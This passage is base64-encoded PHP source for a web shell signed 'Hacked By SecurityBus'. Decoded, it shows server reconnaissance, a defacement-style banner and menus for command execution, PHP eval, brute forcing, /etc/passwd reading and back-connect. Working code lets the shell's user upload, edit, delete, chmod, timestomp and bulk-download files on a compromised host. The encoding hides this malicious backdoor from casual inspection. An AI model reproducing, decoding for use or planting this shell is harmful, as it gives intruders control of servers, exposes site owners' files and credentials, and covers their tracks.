WxkbGZpbGUpLiInIElOVE8gVEFCTEUgdG1wX2FuZ2VsIEZJRUxEUyBURVJNSU5BVEVEIEJZICdfX2FuZ2VsX3skdGltZXN0YW1wfV9lb2ZfXycgRVNDQVBFRCBCWSAnJyBMSU5FUyBURVJNSU5BVEVEIEJZICdfX2FuZ2VsX3skdGltZXN0YW1wfV9lb2ZfXyc7Iik7DQoJCQkJJHJlc3VsdCA9IHEoInNlbGVjdCBjb250ZW50IGZyb20gdG1wX2FuZ2VsIik7DQoJCQkJcSgiRFJPUCBUQUJMRSB0bXBfYW5nZWwiKTsNCgkJCX0NCgkJCSRyb3cgPSBAbXlzcWxfZmV0Y2hfYXJyYXkoJHJlc3VsdCk7DQoJCQlpZiAoISRyb3cpIHsNCgkJCQkkZXJybXNnID0gJ0xvYWQgZmlsZSBmYWlsZWQgJy5teXNxbF9lcnJvcigpOw0KCQkJfSBlbHNlIHsNCgkJCQkkZmlsZWluZm8gPSBwYXRoaW5mbygkbXlzcWxkbGZpbGUpOw0KCQkJCWhlYWRlcignQ29udGVudC10eXBlOiBhcHBsaWNhdGlvbi94LScuJGZpbGVpbmZvWydleHRlbnNpb24nXSk7DQoJCQkJaGVhZGVyKCdDb250ZW50LURpc3Bvc2l0aW9uOiBhdHRhY2htZW50OyBmaWxlbmFtZT0nLiRmaWxlaW5mb1snYmFzZW5hbWUnXSk7DQoJCQkJaGVhZGVyKCJBY2NlcHQtTGVuZ3RoOiAiLnN0cmxlbigkcm93WzBdKSk7DQoJCQkJZWNobyAkcm93WzBdOw0KCQkJCWV4aXQ7DQoJCQl9DQoJCX0NCgl9DQp9DQoNCj8+DQo8aHRtbD4NCjxoZWFkPg0KPG1ldGEgaHR0cC1lcXVpdj0iQ29udGVudC1UeXBlIiBjb250ZW50PSJ0ZXh0L2h0bWw7IGNoYXJzZXQ9dXRmLTgiPg0KPHRpdGxlPjw/cGhwIGVjaG8gc3RyX3JlcGxhY2UoJy4nLCcnLCdTZWN1cml0eUJ1cycpOz8+PC90aXRsZT4NCjxzdHlsZSB0eXBlPSJ0ZXh0L2NzcyI+DQpib2R5LHRke2ZvbnQ6IDEwcHQgVGFob21hO2NvbG9yOmdyYXk7bGluZS1oZWlnaHQ6IDE2cHg7fQ0KDQphIHtjb2xvcjogIzc0QTIwMjt0ZXh0LWRlY29yYXRpb246bm9uZTt9DQphOmhvdmVye2NvbG9yOiAjZjAwO3RleHQtZGVjb3JhdGlvbjp1bmRlcmxpbmU7fQ0KLmFsdDEgdGR7Ym9yZGVyLXRvcDoxcHggc29saWQgZ3JheTtib3JkZXItYm90dG9tOjFweCBzb2xpZCBncmF5O2JhY2tncm91bmQ6IzBFMEUwRTtwYWRkaW5nOjVweCAxMHB4IDVweCA1cHg7fQ0KLmFsdDIgdGR7Ym9yZGVyLXRvcDoxcHggc29saWQgZ3JheTtib3JkZXItYm90dG9tOjFweCBzb2xpZCBncmF5O2JhY2tncm91bmQ6I2Y5ZjlmOTtwYWRkaW5nOjVweCAxMHB4IDVweCA1cHg7fQ0KLmZvY3VzIHRke2JvcmRlci10b3A6MXB4IHNvbGlkIGdyYXk7Ym9yZGVyLWJvdHRvbTowcHggc29saWQgZ3JheTtiYWNrZ3JvdW5kOiMwRTBFMEU7cGFkZGluZzo1cHggMTBweCA1cHggNXB4O30NCi5mb3V0MSB0ZHtib3JkZXItdG9wOjFweCBzb2xpZCBncmF5O2JvcmRlci1ib3R0b206MHB4IHNvbGlkIGdyYXk7YmFja2dyb3VuZDojMEUwRTBFO3BhZGRpbmc6NXB4IDEwcHggNXB4IDVweDt9DQouZm91dCB0ZHtib3JkZXItdG9wOjFweCBzb2xpZCBncmF5O2JvcmRlci1ib3R0b206MHB4IHNvbGlkIGdyYXk7YmFja2dyb3VuZDojMjAyMDIwO3BhZGRpbmc6NXB4IDEwcHggNXB4IDVweDt9DQouaGVhZCB0ZHtib3JkZXItdG9wOjFweCBzb2xpZCBncmF5O2JvcmRlci1ib3R0b206MXB4IHNvbGlkIGdyYXk7YmFja2dyb3VuZDojMjAyMDIwO3BhZGRpbmc6NXB4IDEwcHggNXB4IDVweDtmb250LXdlaWdodDpib2xkO30NCi5oZWFkX3NtYWxsIHRke2JvcmRlci10b3A6MXB4IHNvbGlkIGdyYXk7Ym9yZGVyLWJvdHRvbToxcHggc29saWQgZ3JheTtiYWNrZ3JvdW5kOiMyMDIwMjA7cGFkZGluZzo1cHggMTBweCA1cHggNXB4O2ZvbnQtd2VpZ2h0Om5vcm1hbDtmb250LXNpemU6OHB0O30NCi5oZWFkIHRkIHNwYW57Zm9udC13ZWlnaHQ6bm9ybWFsO30NCmZvcm17bWFyZ2luOjA7cGFkZGluZzowO30NCmgye21hcmdpbjowO3BhZGRpbmc6MDtoZWlnaHQ6MjRweDtsaW5lLWhlaWdodDoyNHB4O2ZvbnQtc2l6ZToxNHB4O2NvbG9yOiM1QjY4NkY7fQ0KdWwuaW5mbyBsaXttYXJnaW46MDtjb2xvcjojNDQ0O2xpbmUtaGVpZ2h0OjI0cHg7aGVpZ2h0OjI0cHg7fQ0KdXt0ZXh0LWRlY29yYXRpb246IG5vbmU7Y29sb3I6Izc3NztmbG9hdDpsZWZ0O2Rpc3BsYXk6YmxvY2s7d2lkdGg6MTUwcHg7bWFyZ2luLXJpZ2h0OjEwcHg7fQ0KaW5wdXQsIHRleHRhcmVhLCBidXR0b24NCnsNCglmb250LXNpemU6IDlwdDsNCgljb2xvcjogI2NjYzsNCglmb250LWZhbWlseTogdmVyZGFuYSwgc2Fucy1zZXJpZjsNCgliYWNrZ3JvdW5kLWNvbG9yOiAjMjAyMDIwOw0KCWJvcmRlci1sZWZ0OiAxcHggc29saWQgIzc0QTIwMjsNCglib3JkZXItdG9wOiAxcHggc29saWQgIzc0QTIwMjsNCglib3JkZXItcmlnaHQ6IDFweCBzb2xpZCAjNzRBMjAyOw0KCWJvcmRlci1ib3R0b206IDFweCBzb2xpZCAjNzRBMjAyOw0KfQ0Kc2VsZWN0DQp7DQoJZm9udC1zaXplOiA4cHQ7DQoJZm9udC13ZWlnaHQ6IG5vcm1hbDsNCgljb2xvcjogI2NjYzsNCglmb250LWZhbWlseTogdmVyZGFuYSwgc2Fucy1zZXJpZjsNCgliYWNrZ3JvdW5kLWNvbG9yOiAjMjAyMDIwOw0KfQ0KDQo8L3N0eWxlPg0KPHNjcmlwdCB0eXBlPSJ0ZXh0L2phdmFzY3JpcHQiPg0KZnVuY3Rpb24gQ2hlY2tBbGwoZm9ybSkgew0KCWZvcih2YXIgaT0wO2k8Zm9ybS5lbGVtZW50cy5sZW5ndGg7aSsrKSB7DQoJCXZhciBlID0gZm9ybS5lbGVtZW50c1tpXTsNCgkJaWYgKGUubmFtZSAhPSAnY2hrYWxsJykNCgkJZS5jaGVja2VkID0gZm9ybS5jaGthbGwuY2hlY2tlZDsNCiAgICB9DQp9DQpmdW5jdGlvbiAkKGlkKSB7DQoJcmV0dXJuIGRvY3VtZW50LmdldEVsZW1lbnRCeUlkKGlkKTsNCn0NCmZ1bmN0aW9uIGdvYWN0aW9uKGFjdCl7DQoJJCgnZ29hY3Rpb24nKS5hY3Rpb24udmFsdWU9YWN0Ow0KCSQoJ2dvYWN0aW9uJykuc3VibWl0KCk7DQp9DQo8L3NjcmlwdD4NCjwvaGVhZD4NCjxib2R5IG9uTG9hZD0iaW5pdCgpIiBzdHlsZT0ibWFyZ2luOjA7dGFibGUtbGF5b3V0OmZpeGVkOyB3b3JkLWJyZWFrOmJyZWFrLWFsbCIgYmdjb2xvcj1ibGFjayBiYWNrZ3JvdW5kPWh0dHA6Ly9pMTEyNC5waG90b2J1Y2tldC5jb20vYWxidW1zL2w1NzUvZ2l2YXkvdGhfbWF0cml4LmdpZj4NCg0KDQo8ZGl2IGJvcmRlcj0iMCIgc3R5bGU9InBvc2l0aW9uOmZpeGVkOyB3aWR0aDogMTAwJTsgaGVpZ2h0OiAyNXB4OyB6LWluZGV4OiAxOyB0b3A6IDMwMHB4OyBsZWZ0OiAwOyIgaWQ9ImxvYWRpbmciIGFsaWduPSJjZW50ZXIiIHZhbGlnbj0iY2VudGVyIj4NCgkJCQk8dGFibGUgYm9yZGVyPSIxIiB3aWR0aD0iMTEwcHgiIGNlbGxzcGFjaW5nPSIwIiBjZWxscGFkZGluZz0iMCIgc3R5bGU9ImJvcmRlci1jb2xsYXBzZTogY29sbGFwc2UiIGJvcmRlcmNvbG9yPSIjMDAzMzAwIj4NCgkJCQkJPHRyPg0KCQkJCQkJPHRkIGFsaWduPSJjZW50ZXIiIHZhbGlnbj1jZW50ZXI+DQoJCQkJIDxkaXYgYm9yZGVyPSIxIiBzdHlsZT0iYmFja2dyb3VuZC1jb2xvcjogIzBFMEUwRTsgZmlsdGVyOiBhbHBoYShvcGFjaXR5PTcwKTsgb3BhY2l0eTogLjc7IHdpZHRoOiAxMTBweDsgaGVpZ2h0OiAyNXB4OyB6LWluZGV4OiAxOyBib3JkZXItY29sbGFwc2U6IGNvbGxhcHNlOyIgYm9yZGVyY29sb3I9IiMwMDY2MDAiICBhbGlnbj0iY2VudGVyIj4NCgkJCQkgICBMb2FkaW5nPGltZyBzcmM9Imh0dHA6Ly9pMzgyLnBob3RvYnVja2V0LmNvbS9hbGJ1bXMvb28yNjMvdm5oYWNrZXIvbG9hZGluZy5naWYiPg0KCQkJCSAgPC9kaXY+DQoJCQkJPC90ZD4NCgkJCQkJPC90cj4NCgkJCQk8L3RhYmxlPg0KPC9kaXY+DQogPHNjcmlwdD4NCiB2YXIgbGQ9KGRvY3VtZW50LmFsbCk7DQogIHZhciBuczQ9ZG9jdW1lbnQubGF5ZXJzOw0KIHZhciBuczY9ZG9jdW1lbnQuZ2V0RWxlbWVudEJ5SWQmJiFkb2N1bWVudC5hbGw7DQogdmFyIGllND1kb2N1bWVudC5hbGw7DQogIGlmIChuczQpDQogCWxkPWRvY3VtZW50LmxvYWRpbmc7DQogZWxzZSBpZiAobnM2KQ0KIAlsZD1kb2N1bWVudC5nZXRFbGVtZW50QnlJZCgibG9hZGluZyIpLnN0eWxlOw0KIGVsc2UgaWYgKGllNCkNCiAJbGQ9ZG9jdW1lbnQuYWxsLmxvYWRpbmcuc3R5bGU7DQogIGZ1bmN0aW9uIGluaXQoKQ0KIHsNCiBpZihuczQpe2xkLnZpc2liaWxpdHk9ImhpZGRlbiI7fQ0KIGVsc2UgaWYgKG5zNnx8aWU0KSBsZC5kaXNwbGF5PSJub25lIjsNCiB9DQogPC9zY3JpcHQ+DQoNCg0KDQoNCjx0YWJsZSB3aWR0aD0iMTAwJSIgYm9yZGVyPSIwIiBjZWxscGFkZGluZz0iMCIgY2VsbHNwYWNpbmc9IjAiPg0KCTx0ciBjbGFzcz0iaGVhZF9zbWFsbCI+DQoJCTx0ZCAgd2lkdGg9MTAwJT4NCgkJPHRhYmxlIHdpZHRoPTEwMCU+PHRyIGNsYXNzPSJoZWFkX3NtYWxsIj48dGQgIHdpZHRoPTE1Nj48YSB0aXRsZT0iU2VjdXJpdHlCdXMiIGhyZWY9Ijw/cGhwICRzZWxmOz8+Ij48aW1nIHNyYz1odHRwOi8vaW1hZ2VzaGFjay5jb20vYS9pbWc1ODUvMzE1Ny9kZXFnLmpwZyB3aWR0aD0iMTU0IiBoZWlnaHQ9ODYgYm9yZGVyPTA+PC9hPjwvdGQ+DQoJCTx0ZCB3aWR0aD0iODEyIj4NCgkJPHNwYW4gc3R5bGU9ImZsb2F0OnJpZ2h0OyI+IDw/cGhwIGVjaG8gIkhvc3RuYW1lOiAiLiRfU0VSVkVSWydIVFRQX0hPU1QnXS4iIjs/PiAgfCA8YSBocmVmPSIiIHRhcmdldD0iX2JsYW5rIj48YSBocmVmPSIiIHRhcmdldD0iX2JsYW5rIj48P3BocCBlY2hvIHN0cl9yZXBsYWNlKCcuJywnJywnW0hhY2tlZCBCeSBTZWN1cml0eUJ1c10nKTs/PjwvYT4gIHwgPGEgaHJlZj0iamF2YXNjcmlwdDpnb2FjdGlvbignbG9nb3V0Jyk7Ij48Zm9udCBjb2xvcj1yZWQ+TG9nb3V0PC9mb250PjwvYT48L3NwYW4+DQoNCgkJPD9waHANCgkJJGN1cmxfb24gPSBAZnVuY3Rpb25fZXhpc3RzKCdjdXJsX3ZlcnNpb24nKTsNCgkJJG15c3FsX29uID0gQGZ1bmN0aW9uX2V4aXN0cygnbXlzcWxfY29ubmVjdCcpOw0KCQkkbXNzcWxfb24gPSBAZnVuY3Rpb25fZXhpc3RzKCdtc3NxbF9jb25uZWN0Jyk7DQoJCSRwZ19vbiA9IEBmdW5jdGlvbl9leGlzdHMoJ3BnX2Nvbm5lY3QnKTsNCgkJJG9yYV9vbiA9IEBmdW5jdGlvbl9leGlzdHMoJ29jaWxvZ29uJyk7DQoNCmVjaG8gKCgkc2FmZV9tb2RlKT8oIlNhZmVfbW9kOiA8Yj48Zm9udCBjb2xvcj1ncmVlbj5PTjwvZm9udD48L2I+IC0gIik6KCJTYWZlX21vZDogPGI+PGZvbnQgY29sb3I9cmVkPk9GRjwvZm9udD48L2I+IC0gIikpOw0KZWNobyAiUEhQIHZlcnNpb246IDxiPiIuQHBocHZlcnNpb24oKS4iPC9iPiAtICI7DQoJCWVjaG8gImNVUkw6ICIuKCgkY3VybF9vbik/KCI8Yj48Zm9udCBjb2xvcj1ncmVlbj5PTjwvZm9udD48L2I+IC0gIik6KCI8Yj48Zm9udCBjb2xvcj1yZWQ+T0ZGPC9mb250PjwvYj4gLSAiKSk7DQoJCWVjaG8gIk15U1FMOiA8Yj4iOw0KJG15c3FsX29uID0gQGZ1bmN0aW9uX2V4aXN0cygnbXlzcWxfY29ubmVjdCcpOw0KaWYoJG15c3FsX29uKXsNCmVjaG8gIjxmb250IGNvbG9yPWdyZWVuPk9OPC9mb250PjwvYj4gLSAiOyB9IGVsc2UgeyBlY2hvICI8Zm9udCBjb2xvcj1yZWQ+T0ZGPC9mb250PjwvYj4gLSAiOyB9DQplY2hvICJNU1NRTDogPGI+IjsNCiRtc3NxbF9vbiA9IEBmdW5jdGlvbl9leGlzdHMoJ21zc3FsX2Nvbm5lY3QnKTsNCmlmKCRtc3NxbF9vbil7ZWNobyAiPGZvbnQgY29sb3I9Z3JlZW4+T048L2ZvbnQ+PC9iPiAtICI7fWVsc2V7ZWNobyAiPGZvbnQgY29sb3I9cmVkPk9GRjwvZm9udD48L2I+IC0gIjt9DQplY2hvICJQb3N0Z3JlU1FMOiA8Yj4iOw0KJHBnX29uID0gQGZ1bmN0aW9uX2V4aXN0cygncGdfY29ubmVjdCcpOw0KaWYoJHBnX29uKXtlY2hvICI8Zm9udCBjb2xvcj1ncmVlbj5PTjwvZm9udD48L2I+IC0gIjt9ZWxzZXtlY2hvICI8Zm9udCBjb2xvcj1yZWQ+T0ZGPC9mb250PjwvYj4gLSAiO30NCmVjaG8gIk9yYWNsZTogPGI+IjsNCiRvcmFfb24gPSBAZnVuY3Rpb25fZXhpc3RzKCdvY2lsb2dvbicpOw0KaWYoJG9yYV9vbil7ZWNobyAiPGZvbnQgY29sb3I9Z3JlZW4+T048L2ZvbnQ+PC9iPiI7fWVsc2V7ZWNobyAiPGZvbnQgY29sb3I9cmVkPk9GRjwvZm9udD48L2I+PEJSPiI7fQ0KDQplY2hvICJEaXNhYmxlIGZ1bmN0aW9ucyA6IDxiPiI7DQppZignJz09KCRkZj1AaW5pX2dldCgnZGlzYWJsZV9mdW5jdGlvbnMnKSkpe2VjaG8gIjxmb250IGNvbG9yPWdyZWVuPk5PTkU8L2ZvbnQ+PC9iPjxCUj4iO31lbHNle2VjaG8gIjxmb250IGNvbG9yPXJlZD4kZGY8L2ZvbnQ+PC9iPjxCUj4iO30NCg0KZWNobyAiPGZvbnQgY29sb3I9d2hpdGU+VW5hbWUgLWE8L2ZvbnQ+OiAiLkBzdWJzdHIoQHBocF91bmFtZSgpLDAsMTIwKS4iPGJyPiI7DQplY2hvICI8Zm9udCBjb2xvcj13aGl0ZT5TZXJ2ZXI8L2ZvbnQ+OiAiLkBzdWJzdHIoJFNFUlZFUl9TT0ZUV0FSRSwwLDEyMCkuIiAtIDxmb250IGNvbG9yPXdoaXRlPmlkPC9mb250PjogIi5AZ2V0bXl1aWQoKS4iKCIuQGdldF9jdXJyZW50X3VzZXIoKS4iKSAtIHVpZD0iLkBnZXRteXVpZCgpLiIgKCIuQGdldF9jdXJyZW50X3VzZXIoKS4iKSBnaWQ9Ii5AZ2V0bXlnaWQoKS4iKCIuQGdldF9jdXJyZW50X3VzZXIoKS4iKTxicj4iOw0KCQk/PgkJPC90ZD4NCgkJPC90cj48L3RhYmxlPjwvdGQ+DQoJPC90cj4NCgk8dHIgY2xhc3M9ImFsdDEiPg0KCQk8dGQgIHdpZHRoPTEwMCU+PHNwYW4gc3R5bGU9ImZsb2F0OnJpZ2h0OyI+W1NlcnZlciBJUDogPD9waHAgZWNobyAiPGZvbnQgY29sb3I9eWVsbG93PiIuZ2V0aG9zdGJ5bmFtZSgkX1NFUlZFUlsnU0VSVkVSX05BTUUnXSkuIjwvZm9udD4iOz8+IC0gWW91ciBJUDogPD9waHAgZWNobyAiPGZvbnQgY29sb3I9eWVsbG93PiIuJF9TRVJWRVJbJ1JFTU9URV9BRERSJ10uIjwvZm9udD4iOz8+XSA8L3NwYW4+DQoNCgkJCTxhIGhyZWY9ImphdmFzY3JpcHQ6Z29hY3Rpb24oJ2ZpbGUnKTsiPkZpbGUgTWFuYWdlcjwvYT4gfA0KCQkJPGEgaHJlZj0iamF2YXNjcmlwdDpnb2FjdGlvbignc3FsYWRtaW4nKTsiPk15U1FMIE1hbmFnZXI8L2E+IHwNCgkJCTxhIGhyZWY9ImphdmFzY3JpcHQ6Z29hY3Rpb24oJ3NxbGZpbGUnKTsiPk15U1FMIFVwbG9hZCAmYW1wOyBEb3dubG9hZDwvYT4gfA0KCQkJPGEgaHJlZj0iamF2YXNjcmlwdDpnb2FjdGlvbignc2hlbGwnKTsiPkV4ZWN1dGUgQ29tbWFuZDwvYT4gfA0KCQkJPGEgaHJlZj0iamF2YXNjcmlwdDpnb2FjdGlvbigncGhwZW52Jyk7Ij5QSFAgVmFyaWFibGU8L2E+IHwNCgkJCTxhIGhyZWY9ImphdmFzY3JpcHQ6Z29hY3Rpb24oJ2V2YWwnKTsiPkV2YWwgUEhQIENvZGU8L2E+DQoJCQk8P3BocCBpZiAoIUlTX1dJTikgez8+IHwgPGEgaHJlZj0iamF2YXNjcmlwdDpnb2FjdGlvbignYnJ1dGUnKTsiPkJydXRlPC9hPiA8P3BocCB9Pz4NCgkJCTw/cGhwIGlmICghSVNfV0lOKSB7Pz4gfCA8YSBocmVmPSJqYXZhc2NyaXB0OmdvYWN0aW9uKCdldGNwd2QnKTsiPi9ldGMvcGFzc3dkPC9hPiA8P3BocCB9Pz4NCgkJCTw/cGhwIGlmICghSVNfV0lOKSB7Pz4gfCA8YSBocmVmPSJqYXZhc2NyaXB0OmdvYWN0aW9uKCdiYWNrY29ubmVjdCcpOyI+QmFjayBDb25uZWN0PC9hPjw/cGhwIH0/Pg0KCQk8L3RkPg0KCTwvdHI+DQo8L3RhYmxlPg0KPHRhYmxlIHdpZHRoPSIxMDAlIiBib3JkZXI9IjAiIGNlbGxwYWRkaW5nPSIxNSIgY2VsbHNwYWNpbmc9IjAiPjx0cj48dGQ+DQo8P3BocA0KDQpmb3JtaGVhZChhcnJheSgnbmFtZSc9Pidnb2FjdGlvbicpKTsNCm1ha2VoaWRlKCdhY3Rpb24nKTsNCmZvcm1mb290KCk7DQoNCiRlcnJtc2cgJiYgbSgkZXJybXNnKTsNCg0KLy8gRGlyIGZ1bmN0aW9uDQohJGRpciAmJiAkZGlyID0gJy4nOw0KJG5vd3BhdGggPSBnZXRQYXRoKFNBX1JPT1QsICRkaXIpOw0KaWYgKHN1YnN0cigkZGlyLCAtMSkgIT0gJy8nKSB7DQoJJGRpciA9ICRkaXIuJy8nOw0KfQ0KJHVlZGlyID0gdWUoJGRpcik7DQoNCmlmICghJGFjdGlvbiB8fCAkYWN0aW9uID09ICdmaWxlJykgew0KDQoJLy8gTm9uLXdyaXRlYWJsZQ0KCSRkaXJfd3JpdGVhYmxlID0gQGlzX3dyaXRhYmxlKCRub3dwYXRoKSA/ICdXcml0YWJsZScgOiAnTm9uLXdyaXRhYmxlJzsNCg0KCS8vIERlbGV0ZSBkaXINCglpZiAoJGRvaW5nID09ICdkZWxkaXInICYmICR0aGVmaWxlKSB7DQoJCWlmICghZmlsZV9leGlzdHMoJHRoZWZpbGUpKSB7DQoJCQltKCR0aGVmaWxlLicgZGlyZWN0b3J5IGRvZXMgbm90IGV4aXN0Jyk7DQoJCX0gZWxzZSB7DQoJCQltKCdEaXJlY3RvcnkgZGVsZXRlICcuKGRlbHRyZWUoJHRoZWZpbGUpID8gYmFzZW5hbWUoJHRoZWZpbGUpLicgc3VjY2VzcycgOiAnZmFpbGVkJykpOw0KCQl9DQoJfQ0KDQoJLy8gQ3JlYXRlIG5ldyBkaXINCgllbHNlaWYgKCRuZXdkaXJuYW1lKSB7DQoJCSRta2RpcnMgPSAkbm93cGF0aC4kbmV3ZGlybmFtZTsNCgkJaWYgKGZpbGVfZXhpc3RzKCRta2RpcnMpKSB7DQoJCQltKCdEaXJlY3RvcnkgaGFzIGFscmVhZHkgZXhpc3RlZCcpOw0KCQl9IGVsc2Ugew0KCQkJbSgnRGlyZWN0b3J5IGNyZWF0ZWQgJy4oQG1rZGlyKCRta2RpcnMsMDc1NSkgPyAnc3VjY2VzcycgOiAnZmFpbGVkJykpOw0KCQkJQGNobW9kKCRta2RpcnMsMDc1NSk7DQoJCX0NCgl9DQoNCgkvLyBVcGxvYWQgZmlsZQ0KCWVsc2VpZiAoJGRvdXBmaWxlKSB7DQoJCW0oJ0ZpbGUgdXBsb2FkICcuKEBjb3B5KCRfRklMRVNbJ3VwbG9hZGZpbGUnXVsndG1wX25hbWUnXSwkdXBsb2FkZGlyLicvJy4kX0ZJTEVTWyd1cGxvYWRmaWxlJ11bJ25hbWUnXSkgPyAnc3VjY2VzcycgOiAnZmFpbGVkJykpOw0KCX0NCg0KCS8vIEVkaXQgZmlsZQ0KCWVsc2VpZiAoJGVkaXRmaWxlbmFtZSAmJiAkZmlsZWNvbnRlbnQpIHsNCgkJJGZwID0gQGZvcGVuKCRlZGl0ZmlsZW5hbWUsJ3cnKTsNCgkJbSgnU2F2ZSBmaWxlICcuKEBmd3JpdGUoJGZwLCRmaWxlY29udGVudCkgPyAnc3VjY2VzcycgOiAnZmFpbGVkJykpOw0KCQlAZmNsb3NlKCRmcCk7DQoJfQ0KDQoJLy8gTW9kaWZ5DQoJZWxzZWlmICgkcGZpbGUgJiYgJG5ld3Blcm0pIHsNCgkJaWYgKCFmaWxlX2V4aXN0cygkcGZpbGUpKSB7DQoJCQltKCdUaGUgb3JpZ2luYWwgZmlsZSBkb2VzIG5vdCBleGlzdCcpOw0KCQl9IGVsc2Ugew0KCQkJJG5ld3Blcm0gPSBiYXNlX2NvbnZlcnQoJG5ld3Blcm0sOCwxMCk7DQoJCQltKCdNb2RpZnkgZmlsZSBhdHRyaWJ1dGVzICcuKEBjaG1vZCgkcGZpbGUsJG5ld3Blcm0pID8gJ3N1Y2Nlc3MnIDogJ2ZhaWxlZCcpKTsNCgkJfQ0KCX0NCg0KCS8vIFJlbmFtZQ0KCWVsc2VpZiAoJG9sZG5hbWUgJiYgJG5ld2ZpbGVuYW1lKSB7DQoJCSRubmFtZSA9ICRub3dwYXRoLiRuZXdmaWxlbmFtZTsNCgkJaWYgKGZpbGVfZXhpc3RzKCRubmFtZSkgfHwgIWZpbGVfZXhpc3RzKCRvbGRuYW1lKSkgew0KCQkJbSgkbm5hbWUuJyBoYXMgYWxyZWFkeSBleGlzdGVkIG9yIG9yaWdpbmFsIGZpbGUgZG9lcyBub3QgZXhpc3QnKTsNCgkJfSBlbHNlIHsNCgkJCW0oYmFzZW5hbWUoJG9sZG5hbWUpLicgcmVuYW1lZCAnLmJhc2VuYW1lKCRubmFtZSkuKEByZW5hbWUoJG9sZG5hbWUsJG5uYW1lKSA/ICcgc3VjY2VzcycgOiAnZmFpbGVkJykpOw0KCQl9DQoJfQ0KDQoJLy8gQ29wdQ0KCWVsc2VpZiAoJHNuYW1lICYmICR0b2ZpbGUpIHsNCgkJaWYgKGZpbGVfZXhpc3RzKCR0b2ZpbGUpIHx8ICFmaWxlX2V4aXN0cygkc25hbWUpKSB7DQoJCQltKCdUaGUgZ29hbCBmaWxlIGhhcyBhbHJlYWR5IGV4aXN0ZWQgb3Igb3JpZ2luYWwgZmlsZSBkb2VzIG5vdCBleGlzdCcpOw0KCQl9IGVsc2Ugew0KCQkJbShiYXNlbmFtZSgkdG9maWxlKS4nIGNvcGllZCAnLihAY29weSgkc25hbWUsJHRvZmlsZSkgPyBiYXNlbmFtZSgkdG9maWxlKS4nIHN1Y2Nlc3MnIDogJ2ZhaWxlZCcpKTsNCgkJfQ0KCX0NCg0KCS8vIEZpbGUgZXhpdA0KCWVsc2VpZiAoJGN1cmZpbGUgJiYgJHRhcmZpbGUpIHsNCgkJaWYgKCFAZmlsZV9leGlzdHMoJGN1cmZpbGUpIHx8ICFAZmlsZV9leGlzdHMoJHRhcmZpbGUpKSB7DQoJCQltKCdUaGUgZ29hbCBmaWxlIGhhcyBhbHJlYWR5IGV4aXN0ZWQgb3Igb3JpZ2luYWwgZmlsZSBkb2VzIG5vdCBleGlzdCcpOw0KCQl9IGVsc2Ugew0KCQkJJHRpbWUgPSBAZmlsZW10aW1lKCR0YXJmaWxlKTsNCgkJCW0oJ01vZGlmeSBmaWxlIHRoZSBsYXN0IG1vZGlmaWVkICcuKEB0b3VjaCgkY3VyZmlsZSwkdGltZSwkdGltZSkgPyAnc3VjY2VzcycgOiAnZmFpbGVkJykpOw0KCQl9DQoJfQ0KDQoJLy8gRGF0ZQ0KCWVsc2VpZiAoJGN1cmZpbGUgJiYgJHllYXIgJiYgJG1vbnRoICYmICRkYXkgJiYgJGhvdXIgJiYgJG1pbnV0ZSAmJiAkc2Vjb25kKSB7DQoJCWlmICghQGZpbGVfZXhpc3RzKCRjdXJmaWxlKSkgew0KCQkJbShiYXNlbmFtZSgkY3VyZmlsZSkuJyBkb2VzIG5vdCBleGlzdCcpOw0KCQl9IGVsc2Ugew0KCQkJJHRpbWUgPSBzdHJ0b3RpbWUoIiR5ZWFyLSRtb250aC0kZGF5ICRob3VyOiRtaW51dGU6JHNlY29uZCIpOw0KCQkJbSgnTW9kaWZ5IGZpbGUgdGhlIGxhc3QgbW9kaWZpZWQgJy4oQHRvdWNoKCRjdXJmaWxlLCR0aW1lLCR0aW1lKSA/ICdzdWNjZXNzJyA6ICdmYWlsZWQnKSk7DQoJCX0NCgl9DQoNCgkvLyBEb3dubG9hZA0KCWVsc2VpZigkZG9pbmcgPT0gJ2Rvd25yYXInKSB7DQoJCWlmICgkZGwpIHsNCgkJCSRkZmlsZXM9Jyc7DQoJCQlmb3JlYWNoICgkZGwgYXMgJGZpbGVwYXRoID0+ICR2YWx1ZSkgew0KCQkJCSRkZmlsZXMuPSRmaWxlcGF0aC4nLCc7DQoJCQl9DQoJCQkkZGZpbGVzPXN1YnN0cigkZGZpbGVzLDAsc3RybGVuKCRkZmlsZXMpLTEpOw0KCQkJJGRsPWV4cGxvZGUoJywnLCRkZmlsZXMpOw0KCQkJJHppcD1uZXcgUEhQWmlwKCRkbCk7DQoJCQkkY29kZT0kemlwLT5vdXQ7DQoJCQloZWFkZXIoJ0NvbnRlbnQtdHlwZTogYXBwbGljYXRpb24vb2N0ZXQtc3RyZWFtJyk7DQoJCQloZWFkZXIoJ0FjY2VwdC1SYW5nZXM6IGJ5dGVzJyk7DQoJCQloZWFkZXIoJ0FjY2VwdC1MZW5ndGg6ICcuc3RybGVuKCRjb2RlKSk7DQoJCQloZWFkZXIoJ0NvbnRlbnQtRGlzcG9zaXRpb246IGF0dGFjaG1lbnQ7ZmlsZW5hbWU9Jy4kX1NFUlZFUlsnSFRUUF9IT1NUJ10uJ3NxbC5neicpOw0KCQkJZWNobyAkY29kZTsNCgkJCWV4aXQ7DQoJCX0gZWxzZSB7DQoJCQltKCdQbGVhc2Ugc2VsZWN0IGZpbGUocyknKTsNCgkJfQ0KCX0NCg0KCS8vIERlbGV0ZSBmaWxlDQoJZWxzZWlmKCRkb2luZyA9PSAnZGVsZmlsZXMnKSB7DQoJCWlmICgkZGwpIHsNCgkJCSRkZmlsZXM9Jyc7DQoJCQkkc3VjYyA9ICRmYWlsID0gMDsNCgkJCWZvcmVhY2ggKCRkbCBhcyAkZmlsZXBhdGggPT4gJHZhbHVlKSB7DQoJCQkJaWYgKEB1bmxpbmsoJGZpbGVwYXRoKSkgew0KCQkJCQkkc3VjYysrOw0KCQkJCX0gZWxzZSB7DQoJCQkJCSRmYWlsKys7DQoJCQkJfQ0KCQkJfQ0KCQkJbSgnRGVsZXRlZCBmaWxlIGhhdmUgZmluaXNoZWQ/P2Nob29zZSAnLmNvdW50KCRkbCkuJyBzdWNjZXNzICcuJHN1Y2MuJyBmYWlsICcuJGZhaWwpOw0KCQl9IGVsc2Ugew0KCQkJbSgnUGxlYXNlIHNlbGVjdCBmaWxlKHMpJyk7DQoJCX0NCgl9DQoNCgkvLyBGdW5jdGlvbiBOZXdkaXINCglmb3JtaGVhZChhcnJheSgnbmFtZSc9PidjcmVhdGVkaXInKSk7DQoJbWFrZWhpZGUoJ25ld2Rpcm5hbWUnKTsNCgltYWtlaGlkZSgnZGlyJywkbm93cGF0aCk7DQoJZm9ybWZvb3QoKTsNCglmb3JtaGVhZChhcnJheSgnbmFtZSc9PidmaWxlc